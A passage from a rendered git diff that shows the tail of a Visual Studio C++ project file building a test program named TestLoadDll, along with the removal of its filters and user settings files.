<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,22 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="TestLoadDll.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user